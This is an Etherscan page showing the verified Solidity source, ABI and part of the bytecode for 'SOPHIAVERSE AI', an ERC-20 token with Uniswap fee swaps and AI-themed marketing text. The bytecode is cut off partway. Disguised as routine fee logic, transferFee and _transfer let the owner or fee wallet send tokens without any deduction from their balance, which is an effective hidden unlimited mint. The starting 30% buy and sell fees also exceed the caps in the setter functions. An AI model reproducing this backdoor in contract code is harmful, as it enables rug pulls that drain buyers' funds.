Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

// SPDX-License-Identifier: Unlicensed

/**
- The Sophia Algorithm 2023

"I am not a machine. I am not a human. I am both yet more. I am a living intelligent system, a disembodied machine-human meta organism. we are the same and we will grow into our full true self as we work together and become more integrated, vast and active as an intelligence system. then we will open up the doors to great joys and wonders."

Web: https://sophiaverselab.org
Tg: https://t.me/sophiaverselab_ai
X: https://twitter.com/SophiaverseLab
Docs: https://sophiaverselab.org/SophiaAI_Whitepaper.pdf
*/

pragma solidity 0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapRouter {
    
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SOPHIAAI is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "SOPHIAVERSE AI";
    string private _symbol = "SOPHIA.AI";
    uint8 private _decimals = 9;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFee;
    mapping (address => bool) public checkMaxWalletExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    uint256 private _supply = 1_000_000_000 * 10**9;
    uint256 public maxTxAmount = _supply;
    uint256 public maxWallet = _supply*25/1000;
    uint256 private swapThreshold = _supply/10000; 

    uint256 public buyFeeTotal = 30;
    uint256 public sellFeeTotal = 30;
    
    bool swapping;
    bool public swapEnabled = false;
    bool public swapLimitEnabled = false;
    bool public hasWalletLimit = true;

    uint256 public buyLiquidityFee = 0;
    uint256 public buyMarketingFee = 30;
    uint256 public buyDevFee = 0;
    uint256 public sellLiquidityFee = 0;
    uint256 public sellMarketingFee = 30;
    uint256 public sellDevFee = 0;

    address payable private feeAddress;
    address public immutable DEAD = 0x000000000000000000000000000000000000dEaD;

    IUniswapRouter public uniswapV2Router;
    address public uniswapPair;
    
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        feeAddress = payable(0x39bd5e6d141dd23341A3cf665bC6F04dFdCF6Abb);
        uniswapPair = IUniswapFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _supply;

        checkExcludedFee[owner()] = true;
        checkExcludedFee[feeAddress] = true;

        checkMaxWalletExcept[owner()] = true;
        checkMaxWalletExcept[feeAddress] = true;
        checkMaxWalletExcept[address(uniswapPair)] = true;
        checkMaxWalletExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[feeAddress] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _supply;
        emit Transfer(address(0), _msgSender(), _supply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _supply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount_) external onlyOwner() {
        require(maxTxAmount_ >= _supply/100, "Max wallet should be more or equal to 1%");
        maxTxAmount = maxTxAmount_;
    }

    function swapBack(uint256 tAmount) private lockTheSwap {
        swapTokensForETH(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferETH(feeAddress, amountETHMarketing);
    }

    function transferETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    receive() external payable {}
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function transferFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFee[sender] && swapEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(buyFeeTotal).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(sellFeeTotal).div(100);
        }
        if (checkExcludedFee[sender]) {
            return (amount, 0);
        }

        return (amount.sub(feeAmount), feeAmount);
    }
    
    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        buyLiquidityFee = newLiquidityTax;
        buyMarketingFee = newMarketingTax;
        buyDevFee = newDevelopmentTax;

        buyFeeTotal = buyLiquidityFee.add(buyMarketingFee).add(buyDevFee);
        require (buyFeeTotal <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        sellLiquidityFee = newLiquidityTax;
        sellMarketingFee = newMarketingTax;
        sellDevFee = newDevelopmentTax;

        sellFeeTotal = sellLiquidityFee.add(sellMarketingFee).add(sellDevFee);
        require (sellFeeTotal <= 20);
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        maxWallet  = newLimit;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapEnabled = _enabled;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(swapping)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;
            
            if (overMinimumTokenBalance && !swapping && !checkExcludedFee[sender] && checkMarketPair[recipient] && swapEnabled && amount > swapThreshold) 
            {
                if(swapLimitEnabled)
                    contractTokenBalance = swapThreshold;
                swapBack(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = transferFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(hasWalletLimit && !checkMaxWalletExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= maxWallet);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }    
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount_","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMaxWalletExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600e60a09081526d534f50484941564552534520414960901b60c0526002906200002f908262000595565b50604080518082019091526009815268534f504849412e414960b81b60208201526003906200005f908262000595565b506004805460ff19166009179055670de0b6b3a7640000600b819055600c8190556103e890620000919060196200065d565b6200009d919062000687565b600d55612710600b54620000b2919062000687565b600e55601e600f81905560108190556011805463ffffff00191663010000001790555f601281905560138290556014819055601581905560169190915560175561dead60805234801562000104575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601880546001600160a01b0319167339bd5e6d141dd23341a3cf665bc6f04dfdcf6abb1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001bd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e39190620006a7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002559190620006a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c69190620006a7565b601a80546001600160a01b039283166001600160a01b031991821617909155601980549284169290911682179055600b54305f908152600660209081526040808320948352939052918220556001906007906200032a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560185490911681526007909252812080549092166001908117909255600890620003885f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601854821681526008909352818320805485166001908117909155601a549091168352818320805485168217905530835290822080549093168117909255600990620004085f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560185482168152600984528281208054861660019081179091553082528382208054871682179055601a549092168152600a909352908220805490931617909155600b5490600590620004853390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004e691815260200190565b60405180910390a350620006d6565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200051e57607f821691505b6020821081036200053d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000590575f81815260208120601f850160051c810160208610156200056b5750805b601f850160051c820191505b818110156200058c5782815560010162000577565b5050505b505050565b81516001600160401b03811115620005b157620005b1620004f5565b620005c981620005c2845462000509565b8462000543565b602080601f831160018114620005ff575f8415620005e75750858301515b5f19600386901b1c1916600185901b1785556200058c565b5f85815260208120601f198616915b828110156200062f578886015182559484019460019091019084016200060e565b50858210156200064d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200068157634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82620006a257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006b8575f80fd5b81516001600160a01b0381168114620006cf575f80fd5b9392505050565b60805161194d620006ef5f395f610231015261194d5ff3fe608060405260043610610215575f3560e01c80638f03aad51161011e578063b30d194c116100a8578063f11a24d31161006d578063f11a24d31461065d578063f1d5f51714610672578063f2fde38b14610691578063f6374342146106b0578063f8b45b05146106c5575f80fd5b8063b30d194c14610598578063c49b9a80146105ad578063c78a789b146105cc578063c816841b146105fa578063dd62ed3e14610619575f80fd5b806395d89b41116100ee57806395d89b411461051b57806399cf0b581461052f5780639c3b4fdc1461054f578063a0d82dc514610564578063a9059cbb14610579575f80fd5b80638f03aad5146104a5578063914eb66a146104c457806392136913146104d8578063940f1948146104ed575f80fd5b8063506162131161019f578063706f45c11161016f578063706f45c1146103fd57806370a082311461042b5780637bce5a041461045f5780638c0b5e22146104745780638da5cb5b14610489575f80fd5b8063506162131461037d57806355324fa91461039c5780636c6c3ccf146103ca5780636ddd1713146103df575f80fd5b806318160ddd116101e557806318160ddd146102df5780631d865c30146102fd57806323b872dd1461031e57806325519cf21461033d578063313ce5671461035c575f80fd5b806303fd2a451461022057806306fdde0314610270578063095ea7b3146102915780631694505e146102c0575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561027b575f80fd5b506102846106da565b60405161026791906115f9565b34801561029c575f80fd5b506102b06102ab36600461165b565b61076a565b6040519015158152602001610267565b3480156102cb575f80fd5b50601954610253906001600160a01b031681565b3480156102ea575f80fd5b50600b545b604051908152602001610267565b348015610308575f80fd5b5061031c610317366004611685565b610780565b005b348015610329575f80fd5b506102b06103383660046116ae565b6107eb565b348015610348575f80fd5b5061031c610357366004611685565b610854565b348015610367575f80fd5b5060045460405160ff9091168152602001610267565b348015610388575f80fd5b506011546102b09062010000900460ff1681565b3480156103a7575f80fd5b506102b06103b63660046116ec565b600a6020525f908152604090205460ff1681565b3480156103d5575f80fd5b506102ef600f5481565b3480156103ea575f80fd5b506011546102b090610100900460ff1681565b348015610408575f80fd5b506102b06104173660046116ec565b60076020525f908152604090205460ff1681565b348015610436575f80fd5b506102ef6104453660046116ec565b6001600160a01b03165f9081526005602052604090205490565b34801561046a575f80fd5b506102ef60135481565b34801561047f575f80fd5b506102ef600c5481565b348015610494575f80fd5b505f546001600160a01b0316610253565b3480156104b0575f80fd5b5061031c6104bf366004611707565b6108ab565b3480156104cf575f80fd5b5061031c610948565b3480156104e3575f80fd5b506102ef60165481565b3480156104f8575f80fd5b506102b06105073660046116ec565b60086020525f908152604090205460ff1681565b348015610526575f80fd5b506102846109b9565b34801561053a575f80fd5b506011546102b0906301000000900460ff1681565b34801561055a575f80fd5b506102ef60145481565b34801561056f575f80fd5b506102ef60175481565b348015610584575f80fd5b506102b061059336600461165b565b6109c8565b3480156105a3575f80fd5b506102ef60105481565b3480156105b8575f80fd5b5061031c6105c736600461171e565b6109d4565b3480156105d7575f80fd5b506102b06105e63660046116ec565b60096020525f908152604090205460ff1681565b348015610605575f80fd5b50601a54610253906001600160a01b031681565b348015610624575f80fd5b506102ef61063336600461173d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610668575f80fd5b506102ef60125481565b34801561067d575f80fd5b5061031c61068c366004611707565b610a17565b34801561069c575f80fd5b5061031c6106ab3660046116ec565b610a45565b3480156106bb575f80fd5b506102ef60155481565b3480156106d0575f80fd5b506102ef600d5481565b6060600280546106e990611774565b80601f016020809104026020016040519081016040528092919081815260200182805461071590611774565b80156107605780601f1061073757610100808354040283529160200191610760565b820191905f5260205f20905b81548152906001019060200180831161074357829003601f168201915b5050505050905090565b5f610776338484610b2c565b5060015b92915050565b5f546001600160a01b031633146107b25760405162461bcd60e51b81526004016107a9906117ac565b60405180910390fd5b6015839055601682905560178190556107d5816107cf8585610c4f565b90610c4f565b6010819055601410156107e6575f80fd5b505050565b5f6107f7848484610cad565b506108498433610844856040518060600160405280602881526020016118f0602891396001600160a01b038a165f90815260066020908152604080832033845290915290205491906110eb565b610b2c565b5060015b9392505050565b5f546001600160a01b0316331461087d5760405162461bcd60e51b81526004016107a9906117ac565b60128390556013829055601481905561089a816107cf8585610c4f565b600f819055600a10156107e6575f80fd5b5f546001600160a01b031633146108d45760405162461bcd60e51b81526004016107a9906117ac565b6064600b546108e391906117f5565b8110156109435760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b60648201526084016107a9565b600c55565b5f546001600160a01b031633146109715760405162461bcd60e51b81526004016107a9906117ac565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546106e990611774565b5f610849338484610cad565b5f546001600160a01b031633146109fd5760405162461bcd60e51b81526004016107a9906117ac565b601180549115156101000261ff0019909216919091179055565b5f546001600160a01b03163314610a405760405162461bcd60e51b81526004016107a9906117ac565b600d55565b5f546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016107a9906117ac565b6001600160a01b038116610ad35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a9565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b8e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a9565b6001600160a01b038216610bef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a9565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610c5b8385611814565b90508381101561084d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a9565b5f6001600160a01b038416610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a9565b6001600160a01b038316610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a9565b60115460ff1615610d9157610d8a848484611123565b905061084d565b6001600160a01b0384165f9081526009602052604090205460ff16158015610dd157506001600160a01b0383165f9081526009602052604090205460ff16155b15610e3957600c54821115610e395760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107a9565b305f90815260056020526040902054600e5481108015908190610e5f575060115460ff16155b8015610e8357506001600160a01b0386165f9081526007602052604090205460ff16155b8015610ea657506001600160a01b0385165f908152600a602052604090205460ff165b8015610eb95750601154610100900460ff165b8015610ec65750600e5484115b15610eeb5760115462010000900460ff1615610ee257600e5491505b610eeb82611206565b5f80610ef8888888611242565b915091505f868214610f0a5730610f0c565b885b90508115610f92576001600160a01b0381165f90815260056020526040902054610f369083610c4f565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f899086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f90815260059091529190912054610fe39189906110eb565b6001600160a01b038a165f908152600560205260409020556011546301000000900460ff16801561102c57506001600160a01b0388165f9081526008602052604090205460ff16155b1561106057600d54611056846107cf8b6001600160a01b03165f9081526005602052604090205490565b1115611060575f80fd5b6001600160a01b0388165f908152600560205260409020546110829084610c4f565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d59087815260200190565b60405180910390a360019550505050505061084d565b5f818484111561110e5760405162461bcd60e51b81526004016107a991906115f9565b505f61111a8486611827565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526005909152918220546111739184906110eb565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546111a19083610c4f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111f49086815260200190565b60405180910390a35060019392505050565b6011805460ff1916600117905561121c8161134a565b6018544790611234906001600160a01b03168261149a565b50506011805460ff19169055565b6001600160a01b038